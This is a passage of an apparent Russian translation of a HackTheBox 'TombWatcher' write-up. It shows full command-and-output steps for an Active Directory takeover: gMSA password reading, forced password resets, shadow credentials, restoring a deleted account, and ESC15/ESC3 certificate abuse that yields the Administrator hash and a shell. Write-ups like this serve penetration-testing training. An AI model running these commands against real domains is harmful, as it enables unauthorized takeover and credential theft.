SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\alfred:basketball

Однако попытка подключения через протокол WinRM оказывается неудачной.

oxdf@hacky$ netexec winrm dc01.tombwatcher.htb -u alfred -p basketball

WINRM 10.10.11.72 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)

WINRM 10.10.11.72 5985 DC01 [-] tombwatcher.htb\alfred:basketball

Аутентификация от имени ANSIBLE_DEV$

Вернёмся к данным Bloodhound: у пользователя Alfred есть право AddSelf в группу Infrastructure, члены которой имеют право ReadGMSAPassword управляемого сервисного аккаунта ANSIBLE_DEV$.

-6

Так как я не являюсь членом группы Infrastructure, прочитать пароль не удаётся.

oxdf@hacky$ netexec ldap dc01.tombwatcher.htb -u alfred -p basketball --gmsa

LDAP 10.10.11.72 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) (signing:None) (channel binding:Never)

LDAP 10.10.11.72 389 DC01 [+] tombwatcher.htb\alfred:basketball

LDAP 10.10.11.72 389 DC01 [*] Getting GMSA Passwords

LDAP 10.10.11.72 389 DC01 Account: ansible_dev$ NTLM: <no read permissions> PrincipalsAllowedToReadPassword: Infrastructure

Добавим пользователя Alfred в группу Infrastructure, с помощью инструмента BloodyAD,:

oxdf@hacky$ bloodyAD -d tombwatcher.htb -u alfred -p basketball --host dc01.tombwatcher.htb add groupMember Infrastructure alfred

[+] alfred added to Infrastructure

Теперь Alfred сможет считать пароль с помощью инструмента NetExec:

oxdf@hacky$ netexec ldap dc01.tombwatcher.htb -u alfred -p basketball --gmsa

LDAP 10.10.11.72 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) (signing:None) (channel binding:Never)

LDAP 10.10.11.72 389 DC01 [+] tombwatcher.htb\alfred:basketball

LDAP 10.10.11.72 389 DC01 [*] Getting GMSA Passwords

LDAP 10.10.11.72 389 DC01 Account: ansible_dev$ NTLM: 1c37d00093dc2a5f25176bf2d474afdc PrincipalsAllowedToReadPassword: Infrastructure

Или через BloodyAD:

oxdf@hacky$ bloodyAD -d tombwatcher.htb -u alfred -p basketball --host dc01.tombwatcher.htb get object 'ANSIBLE_DEV$' --attr msDS-ManagedPassword

distinguishedName: CN=ansible_dev,CN=Managed Service Accounts,DC=tombwatcher,DC=htb

msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:1c37d00093dc2a5f25176bf2d474afdc

msDS-ManagedPassword.B64ENCODED: IIwfpSnxGqOGf+d99xuIBTCl3yqtm6fvywv4pBqe5PN9jsYcLAWn3x1doYf9ZzjBXGB3XoRzPFNwtajDOG304xGmN2CJ4G+5QsLACGGVvu3ZoG4aosUdfpEGuWyYqSyKggtxHtssw1lWLbrZayfWqascdDtBvuaszTpJgmDnLykE6QP+BmmngEkfETLuZ+hH0pP896TujqasQXFyOBkqwVtvXe1Lx9szud4//XTPoejE0KBihHGhzmbQ8pGH9QR9zl21XsohXJA2dd9QAUwgGpCssBhbOPtAalPoaOYDlBE4wrFZNnrYpADsIeYVO/HmXVnGO1e/9XRjcSCEZaHvTw==

Проверяем хэш:

oxdf@hacky$ netexec smb DC01.tombwatcher.htb -u 'ANSIBLE_DEV$' -H 1c37d00093dc2a5f25176bf2d474afdc

SMB 10.10.11.72 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)

SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\ANSIBLE_DEV$:1c37d00093dc2a5f25176bf2d474afdc

Аутентификация от лица Sam

Пользователь ANSIBLE_DEV$ имеет право принудительно сменить пароль пользователя (ForceChangePassword) Sam:

-7

Эксплуатация

Для установки нового пароля воспользуемся bloodyAD:

oxdf@hacky$ bloodyAD -d tombwatcher.htb -u 'ANSIBLE_DEV$' -p ':1c37d00093dc2a5f25176bf2d474afdc' --host dc01.tombwatcher.htb set password "sam" "0xdf0xdf!"

[+] Password changed successfully!

Успешно:

oxdf@hacky$ netexec smb DC01.tombwatcher.htb -u sam -p '0xdf0xdf!'

SMB 10.10.11.72 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)

SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\sam:0xdf0xdf!

Shell от имени John

Bloodhound определил наличие у Sam права «WriteOwner» над объектом John:

-8

Имея право «WriteOwner», мы можем установить пользователя Sam — владельцем учетной записи John. Как владелец, Sam сможет назначить себе полный доступ («genericAll») к аккаунту John. После этого возможны три варианта действий: смена пароля John, shadow credential или целевой Kerberoasting.

Эксплуатация через Shadow Credential

Снова запускаем bloodyAD:

oxdf@hacky$ bloodyAD -d tombwatcher.htb -u sam -p '0xdf0xdf!' --host dc01.tombwatcher.htb set owner john sam

[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on john

Далее предоставим пользователю Sam полные права ("GenericAll") на аккаунт John:

oxdf@hacky$ bloodyAD -d tombwatcher.htb -u sam -p '0xdf0xdf!' --host dc01.tombwatcher.htb add genericAll john sam

[+] sam has now GenericAll on john

Теперь выполним атаку shadow credential с помощью Certipy:

oxdf@hacky$ certipy shadow auto -target dc01.tombwatcher.htb -u sam -p '0xdf0xdf!' -account john

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'john'

[*] Generating certificate

[*] Certificate generated

[*] Generating Key Credential

[*] Key Credential generated with DeviceID '85478516-51f1-8a2a-d131-7b39d4de77d0'

[*] Adding Key Credential with device ID '85478516-51f1-8a2a-d131-7b39d4de77d0' to the Key Credentials for 'john'

[*] Successfully added Key Credential with device ID '85478516-51f1-8a2a-d131-7b39d4de77d0' to the Key Credentials for 'john'

[*] Authenticating as 'john' with the certificate

[*] Certificate identities:

[*] No identities found in this certificate

[*] Using principal: 'john@tombwatcher.htb'

[*] Trying to get TGT...

[*] Got TGT

[*] Saving credential cache to 'john.ccache'

[*] Wrote credential cache to 'john.ccache'

[*] Trying to retrieve NT hash for 'john'

[*] Restoring the old Key Credentials for 'john'

[*] Successfully restored the old Key Credentials for 'john'

[*] NT hash for 'john': ad9324754583e3e42b55aad4d3b8d2bf

oxdf@hacky$ netexec smb dc01.tombwatcher.htb -u john -H ad9324754583e3e42b55aad4d3b8d2bf

SMB 10.10.11.72 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)

SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\john:ad9324754583e3e42b55aad4d3b8d2bf

John способен выполнять команды через WinRM:

oxdf@hacky$ netexec winrm dc01.tombwatcher.htb -u john -H ad9324754583e3e42b55aad4d3b8d2bf

WINRM 10.10.11.72 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)

WINRM 10.10.11.72 5985 DC01 [+] tombwatcher.htb\john:ad9324754583e3e42b55aad4d3b8d2bf (Pwn3d!)

-9

Получим shell с помощью утилиты evil-winrm-py:

oxdf@hacky$ evil-winrm-py -i dc01.tombwatcher.htb -u john -H ad9324754583e3e42b55aad4d3b8d2bf

▘▜ ▘

█▌▌▌▌▐ ▄▖▌▌▌▌▛▌▛▘▛▛▌▄▖▛▌▌▌

▙▖▚▘▌▐▖ ▚▚▘▌▌▌▌ ▌▌▌ ▙▌▙▌

▌ ▄▌ v1.0.0

[*] Connecting to dc01.tombwatcher.htb:5985 as john

evil-winrm-py PS C:\Users\john\Documents>

И извлекаем флаг пользователя:

evil-winrm-py PS C:\Users\john\desktop> cat user.txt

bc7fc5d3************************

Аутентификация от имени cert_admin

Домашняя директория пользователя John, кроме файла user.txt, пуста.

Другие пользователи отсутствуют, за исключением администратора (Administrator).

evil-winrm-py PS C:\Users> ls

Directory: C:\Users

Mode LastWriteTime Length Name

---- ------------- ------ ----

d----- 11/15/2024 7:57 PM .NET v4.5

d----- 11/15/2024 7:57 PM .NET v4.5 Classic

d----- 12/11/2024 5:38 PM Administrator

d----- 12/11/2024 6:42 PM john

d-r--- 11/15/2024 6:52 PM Public

В корне ФС тоже ничего:

evil-winrm-py PS C:\> ls

Directory: C:\

Mode LastWriteTime Length Name

---- ------------- ------ ----

d----- 11/15/2024 7:57 PM inetpub

d----- 6/4/2025 4:25 PM PerfLogs

d-r--- 11/15/2024 6:53 PM Program Files

d----- 12/11/2024 6:39 PM Program Files (x86)

d-r--- 12/11/2024 6:42 PM Users

d----- 6/4/2025 5:13 PM Windows

Каталог веб-приложений пустой:

evil-winrm-py PS C:\inetpub\wwwroot> ls

Directory: C:\inetpub\wwwroot

Mode LastWriteTime Length Name

---- ------------- ------ ----

d----- 11/15/2024 7:57 PM aspnet_client

-a---- 11/15/2024 7:57 PM 703 iisstart.htm

-a---- 11/15/2024 7:57 PM 99710 iisstart.png

BloodHound показывает, что у пользователя John имеются полные права («GenericAll») на ADCS OU (organizational unit):

-10

Пока не ясно, зачем это нужно.

ADCS

Для каждого взломанного пользователя мы можем проверить права на выдачу сертификатов, но ни один из них, не имеет специальной конфигурации, связанной с ADCS. Группе Domain Users разрешено выдавать сертификаты по четырем шаблонам:

-11

Группа Domain Computers (в которую входит ANSIBLE_DEV$) предоставляет доступ к трём шаблонам:

-12

Тем не менее, ни один из этих шаблонов не содержит уязвимостей. Соберем дополнительные данные:

oxdf@hacky$ certipy find -target dc01.tombwatcher.htb -u john -hashes :ad9324754583e3e42b55aad4d3b8d2bf

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates

[*] Found 33 certificate templates

[*] Finding certificate authorities

[*] Found 1 certificate authority

[*] Found 11 enabled certificate templates

[*] Finding issuance policies

[*] Found 13 issuance policies

[*] Found 0 OIDs linked to templates

[*] Retrieving CA configuration for 'tombwatcher-CA-1' via RRP

[!] Failed to connect to remote registry. Service should be starting now. Trying again...

[*] Successfully retrieved CA configuration for 'tombwatcher-CA-1'

[*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb'

[!] Error checking web enrollment: timed out

[!] Use -debug to print a stacktrace

[!] Failed to lookup object with SID 'S-1-5-21-1392491010-1358638721-2126982587-1111'

[*] Saving text output to '20250612160945_Certipy.txt'

[*] Wrote text output to '20250612160945_Certipy.txt'

[*] Saving JSON output to '20250612160945_Certipy.json'

[*] Wrote JSON output to '20250612160945_Certipy.json'

Существует единственный центр сертификации с названием tombwatcher-CA-1, включающий 11 шаблонов.

Шаблон Machine выглядит потенциально интересным:

19

Template Name : Machine

Display Name : Computer

Certificate Authorities : tombwatcher-CA-1

Enabled : True

Client Authentication : True

Enrollment Agent : False

Any Purpose : False

Enrollee Supplies Subject : False

Certificate Name Flag : SubjectAltRequireDns

SubjectRequireDnsAsCn

Enrollment Flag : AutoEnrollment

Extended Key Usage : Client Authentication

Server Authentication

Requires Manager Approval : False

Requires Key Archival : False

Authorized Signatures Required : 0

Schema Version : 1

Validity Period : 1 year

Renewal Period : 6 weeks

Minimum RSA Key Length : 2048

Template Created : 2024-11-16T00:57:49+00:00

Template Last Modified : 2024-11-16T00:57:49+00:00

Permissions

Enrollment Permissions

Enrollment Rights : TOMBWATCHER.HTB\Domain Admins

TOMBWATCHER.HTB\Domain Computers

TOMBWATCHER.HTB\Enterprise Admins

Object Control Permissions

Owner : TOMBWATCHER.HTB\Enterprise Admins

Full Control Principals : TOMBWATCHER.HTB\Domain Admins

TOMBWATCHER.HTB\Enterprise Admins

Write Owner Principals : TOMBWATCHER.HTB\Domain Admins

TOMBWATCHER.HTB\Enterprise Admins

Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins

TOMBWATCHER.HTB\Enterprise Admins

Write Property Enroll : TOMBWATCHER.HTB\Domain Admins

TOMBWATCHER.HTB\Domain Computers

TOMBWATCHER.HTB\Enterprise Admins

[+] User Enrollable Principals : TOMBWATCHER.HTB\Domain Computers

[*] Remarks

ESC2 Target Template : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.

ESC3 Target Template : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.

Есть доступ к выдаче сертификатов через пользователя ANSIBLE_DEV$, который входит в группу Domain Computers. Утилита certipy указывает, что этот шаблон может использоваться в атаках типа ESC2 и ESC3, что само по себе не представляет опасности. У шаблона User аналогичные характеристики.

Другое, что привлекает внимание, — это шаблон WebServer:

17

Template Name : WebServer

Display Name : Web Server

Certificate Authorities : tombwatcher-CA-1

Enabled : True

Client Authentication : False

Enrollment Agent : False

Any Purpose : False

Enrollee Supplies Subject : True

Certificate Name Flag : EnrolleeSuppliesSubject

Extended Key Usage : Server Authentication

Requires Manager Approval : False

Requires Key Archival : False

Authorized Signatures Required : 0

Schema Version : 1

Validity Period : 2 years

Renewal Period : 6 weeks

Minimum RSA Key Length : 2048

Template Created : 2024-11-16T00:57:49+00:00

Template Last Modified : 2024-11-16T17:07:26+00:00

Permissions

Enrollment Permissions

Enrollment Rights : TOMBWATCHER.HTB\Domain Admins

TOMBWATCHER.HTB\Enterprise Admins

S-1-5-21-1392491010-1358638721-2126982587-1111

Object Control Permissions

Owner : TOMBWATCHER.HTB\Enterprise Admins

Full Control Principals : TOMBWATCHER.HTB\Domain Admins

TOMBWATCHER.HTB\Enterprise Admins

Write Owner Principals : TOMBWATCHER.HTB\Domain Admins

TOMBWATCHER.HTB\Enterprise Admins

Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins

TOMBWATCHER.HTB\Enterprise Admins

Write Property Enroll : TOMBWATCHER.HTB\Domain Admins

TOMBWATCHER.HTB\Enterprise Admins

S-1-5-21-1392491010-1358638721-2126982587-1111

Странно, что один объект отображается через SID, а не по имени. Значит certipy не может найти информацию о пользователе.

Пользователь 1111

Этот пользователь присутствует в данных Bloodhound.

-13

Информация об этом объекте крайне скудная:

-14

Судя по всему, BloodHound коллектор на Python вообще пропустил эту запись.

Если попытаться получить информацию по этому SID:

evil-winrm-py PS C:\> Get-ADObject -Identity "S-1-5-21-1392491010-1358638721-2126982587-1111"

Cannot find an object with identity: 'S-1-5-21-1392491010-1358638721-2126982587-1111' under: 'DC=tombwatcher,DC=htb'.

Значит объект мог быть удалён.

Корзина Active Directory

Функционал корзины Active Directory позволяет администраторам восстанавливать удалённые объекты:

evil-winrm-py PS C:\> Get-ADOptionalFeature 'Recycle Bin Feature'

DistinguishedName : CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows

NT,CN=Services,CN=Configuration,DC=tombwatcher,DC=htb

EnabledScopes : {CN=Partitions,CN=Configuration,DC=tombwatcher,DC=htb, CN=NTDS Settings,CN=DC01,CN=Servers,CN=Defau

lt-First-Site-Name,CN=Sites,CN=Configuration,DC=tombwatcher,DC=htb}

FeatureGUID : 766ddcd8-acd0-445e-f3b9-a7f9b6744f2a

FeatureScope : {ForestOrConfigurationSet}

IsDisableable : False

Name : Recycle Bin Feature

ObjectClass : msDS-OptionalFeature

ObjectGUID : 907469ef-52c5-41ab-ad19-5fdec9e45082

RequiredDomainMode :

RequiredForestMode : Windows2008R2Forest

Перечислим удалённые объекты, добавив аргумент "-property", чтобы увидеть дополнительную информацию, которая вскоре пригодится:

evil-winrm-py PS C:\> Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property objectSid,lastKnownParent

Deleted : True

DistinguishedName : CN=cert_admin\0ADEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3,CN=Deleted Objects,DC=tombwatcher,DC=htb

LastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb

Name : cert_admin

DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3

ObjectClass : user

ObjectGUID : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3

objectSid : S-1-5-21-1392491010-1358638721-2126982587-1109

Deleted : True

DistinguishedName : CN=cert_admin\0ADEL:c1f1f0fe-df9c-494c-bf05-0679e181b358,CN=Deleted Objects,DC=tombwatcher,DC=htb

LastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb

Name : cert_admin

DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358

ObjectClass : user

ObjectGUID : c1f1f0fe-df9c-494c-bf05-0679e181b358

objectSid : S-1-5-21-1392491010-1358638721-2126982587-1110

Deleted : True

DistinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb

LastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb

Name : cert_admin

DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf

ObjectClass : user

ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf

objectSid : S-1-5-21-1392491010-1358638721-2126982587-1111

Не совсем понятно, почему объект появляется трижды, зато есть пользователь с именем cert_admin. Последний экземпляр имеет RID равный 1111. Атрибут lastKnownParent, указывает, что раньше он находился в ADCS OU.

Восстановление учётной записи

Поскольку пользователь John имеет полномочия GenericAll над ADCS, а ADCS указан как lastKnownParent для cert_admin, John теоретически может восстановить эту учётную запись. Для начала нам потребуется извлечь GUID конкретного экземпляра cert_admin с RID 1111.

evil-winrm-py PS C:\> Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf

evil-winrm-py PS C:\> Get-ADUser cert_admin

DistinguishedName : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb

Enabled : True

GivenName : cert_admin

Name : cert_admin

ObjectClass : user

ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf

SamAccountName : cert_admin

SID : S-1-5-21-1392491010-1358638721-2126982587-1111

Surname : cert_admin

UserPrincipalName :

Изменение пароля

Обладая полным контролем (GenericAll) над OU, пользователь John может разными способами захватить учётную запись cert_admin. Поскольку эта учётная запись была удалена, мы можем просто изменить её пароль:

evil-winrm-py PS C:\> Set-ADAccountPassword cert_admin -NewPassword (ConvertTo-SecureString '0xdf0xdf!' -AsPlainText -Force)

oxdf@hacky$ netexec smb dc01.tombwatcher.htb -u cert_admin -p '0xdf0xdf!'

SMB 10.10.11.72 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)

SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\cert_admin:0xdf0xdf!

Shell с правами Администратора

Под учётной записью cert_admin повторно запустим certipy, чтобы заново проанализировать доступные шаблоны на предмет возможных уязвимостей:

oxdf@hacky$ certipy find -target dc01.tombwatcher.htb -u cert_admin -p '0xdf0xdf!' -vulnerable -stdout

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates

[*] Found 33 certificate templates

[*] Finding certificate authorities

[*] Found 1 certificate authority

[*] Found 11 enabled certificate templates

[*] Finding issuance policies

[*] Found 13 issuance policies

[*] Found 0 OIDs linked to templates

[*] Retrieving CA configuration for 'tombwatcher-CA-1' via RRP

[!] Failed to connect to remote registry. Service should be starting now. Trying again...

[*] Successfully retrieved CA configuration for 'tombwatcher-CA-1'

[*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb'

[!] Error checking web enrollment: timed out

[!] Use -debug to print a stacktrace

[*] Enumeration output:

Certificate Authorities

0

CA Name : tombwatcher-CA-1

DNS Name : DC01.tombwatcher.htb

Certificate Subject : CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb

Certificate Serial Number : 3428A7FC52C310B2460F8440AA8327AC

Certificate Validity Start : 2024-11-16 00:47:48+00:00

Certificate Validity End : 2123-11-16 00:57:48+00:00

Web Enrollment

HTTP

Enabled : False

HTTPS

Enabled : False

User Specified SAN : Disabled

Request Disposition : Issue

Enforce Encryption for Requests : Enabled

Active Policy : CertificateAuthority_MicrosoftDefault.Policy

Permissions

Owner : TOMBWATCHER.HTB\Administrators

Access Rights

ManageCa : TOMBWATCHER.HTB\Administrators

TOMBWATCHER.HTB\Domain Admins

TOMBWATCHER.HTB\Enterprise Admins

ManageCertificates : TOMBWATCHER.HTB\Administrators

TOMBWATCHER.HTB\Domain Admins

TOMBWATCHER.HTB\Enterprise Admins

Enroll : TOMBWATCHER.HTB\Authenticated Users

Certificate Templates

0

Template Name : WebServer

Display Name : Web Server

Certificate Authorities : tombwatcher-CA-1

Enabled : True

Client Authentication : False

Enrollment Agent : False

Any Purpose : False

Enrollee Supplies Subject : True

Certificate Name Flag : EnrolleeSuppliesSubject

Extended Key Usage : Server Authentication

Requires Manager Approval : False

Requires Key Archival : False

Authorized Signatures Required : 0

Schema Version : 1

Validity Period : 2 years

Renewal Period : 6 weeks

Minimum RSA Key Length : 2048

Template Created : 2024-11-16T00:57:49+00:00

Template Last Modified : 2024-11-16T17:07:26+00:00

Permissions

Enrollment Permissions

Enrollment Rights : TOMBWATCHER.HTB\Domain Admins

TOMBWATCHER.HTB\Enterprise Admins

TOMBWATCHER.HTB\cert_admin

Object Control Permissions

Owner : TOMBWATCHER.HTB\Enterprise Admins

Full Control Principals : TOMBWATCHER.HTB\Domain Admins

TOMBWATCHER.HTB\Enterprise Admins

Write Owner Principals : TOMBWATCHER.HTB\Domain Admins

TOMBWATCHER.HTB\Enterprise Admins

Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins

TOMBWATCHER.HTB\Enterprise Admins

Write Property Enroll : TOMBWATCHER.HTB\Domain Admins

TOMBWATCHER.HTB\Enterprise Admins

TOMBWATCHER.HTB\cert_admin

[+] User Enrollable Principals : TOMBWATCHER.HTB\cert_admin

[!] Vulnerabilities

ESC15 : Enrollee supplies subject and schema version is 1.

[*] Remarks

ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.

Теперь имя пользователя отображается правильно, и выявлена уязвимость ESC15.

ESC15

Документация Certipy описывает ESC15 следующим образом:

ESC15, также известна как EKUwu (исследование Джастина Боллингера из TrustedSec) и отслеживается как CVE-2024-49019. Уязвимость позволяет злоумышленникам вставлять произвольные Application Policies, в сертификаты созданные по Schema V1. Если CA не обновлялся, то он добавит введённые злоумышленниками политики в сертификат, даже если они не соответствуют указанным или разрешённым значениям Extended Key Usage, EKU, таким образом наделяя сертификат непредусмотренными возможностями.

Ключевые моменты:

- Значение параметра «Enrollee Supplies Subject» установлено в true

- Версия схемы сертификата равна 1

- Отсутствие патча для CVE-2024-49019

Wiki демонстрирует два сценария эксплуатации данной уязвимости.

Сценарий эксплуатации A [Провал]

Воспользуемся функцией req для запроса сертификата от имени администратора, введя ложную информацию о возможности использования этого сертификата для клиентской аутентификации (несмотря на то, что шаблон запрещает такую возможность):

oxdf@hacky$ certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn administrator@tombwatcher.htb -application-policies 'Client Authentication'

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC

[*] Request ID is 4

[*] Successfully requested certificate

[*] Got certificate with UPN 'administrator@tombwatcher.htb'

[*] Certificate has no object SID

[*] Try using -sid to set the object SID or see the wiki for more details

[*] Saving certificate and private key to 'administrator.pfx'

[*] Wrote certificate and private key to 'administrator.pfx'

Если попробовать пройти аутентификацию с помощью полученного PFX-файла, попытка завершится неудачей:

oxdf@hacky$ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:

[*] SAN UPN: 'administrator@tombwatcher.htb'

[*] Using principal: 'administrator@tombwatcher.htb'

[*] Trying to get TGT...

[-] Certificate is not valid for client authentication

[-] Check the certificate template and ensure it has the correct EKU(s)

[-] If you recently changed the certificate template, wait a few minutes for the change to propagate

[-] See the wiki for more information

Попробуем использовать его для получения LDAP-shell через Schannel:

oxdf@hacky$ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72 -ldap-shell

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:

[*] SAN UPN: 'administrator@tombwatcher.htb'

[*] Connecting to 'ldaps://10.10.11.72:636'

[-] Failed to connect to LDAP server: ("('socket ssl wrapping error: [SSL: CA_MD_TOO_WEAK] ca md too weak (_ssl.c:3895)',)",)

[-] Use -debug to print a stacktrace

Ошибка связана с недостаточной надёжностью используемого протокола SSL. Вероятно, можно снизить уровень шифрования на своём хосте, но сосредоточимся на сценарии B.

Сценарий эксплуатации B

На этот раз вместо предоставления сертификату возможности аутентифицироваться, назначем ему свойство агента:

oxdf@hacky$ certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn administrator@tombwatcher.htb -application-policies 'Certificate Request Agent'

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC

[*] Request ID is 5

[*] Successfully requested certificate

[*] Got certificate with UPN 'administrator@tombwatcher.htb'

[*] Certificate has no object SID

[*] Try using -sid to set the object SID or see the wiki for more details

[*] Saving certificate and private key to 'administrator.pfx'

File 'administrator.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y

[*] Wrote certificate and private key to 'administrator.pfx'

На данном этапе мы можем завершить атаку ESC3. Воспользуемся полученным PFX-файлом для запроса билета от имени Администратора по шаблону, предназначенному для входа пользователя:

oxdf@hacky$ certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template User -pfx cert_admin.pfx -on-behalf-of 'tombwatcher\Administrator'

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC

[*] Request ID is 8

[*] Successfully requested certificate

[*] Got certificate with UPN 'Administrator@tombwatcher.htb'

[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'

[*] Saving certificate and private key to 'administrator.pfx'

File 'administrator.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y

[*] Wrote certificate and private key to 'administrator.pfx'

Теперь мы можем пройти аутентификацию:

oxdf@hacky$ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:

[*] SAN UPN: 'Administrator@tombwatcher.htb'

[*] Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'

[*] Using principal: 'administrator@tombwatcher.htb'

[*] Trying to get TGT...

[*] Got TGT

[*] Saving credential cache to 'administrator.ccache'

[*] Wrote credential cache to 'administrator.ccache'

[*] Trying to retrieve NT hash for 'administrator'

[*] Got hash for 'administrator@tombwatcher.htb': aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc

Получаем TGT билет и NTLM-хэш учётной записи администратора.

WinRM

Теперь воспользуемся этим хэшем:

oxdf@hacky$ evil-winrm-py -i dc01.tombwatcher.htb -u administrator -H f61db423bebe3328d33af26741afe5fc

▘▜ ▘

█▌▌▌▌▐ ▄▖▌▌▌▌▛▌▛▘▛▛▌▄▖▛▌▌▌

▙▖▚▘▌▐▖ ▚▚▘▌▌▌▌ ▌▌▌ ▙▌▙▌

▌ ▄▌ v1.0.0

[*] Connecting to dc01.tombwatcher.htb:5985 as administrator

evil-winrm-py PS C:\Users\Administrator\Documents>

Флаг:

evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt

58c9e767************************

Источник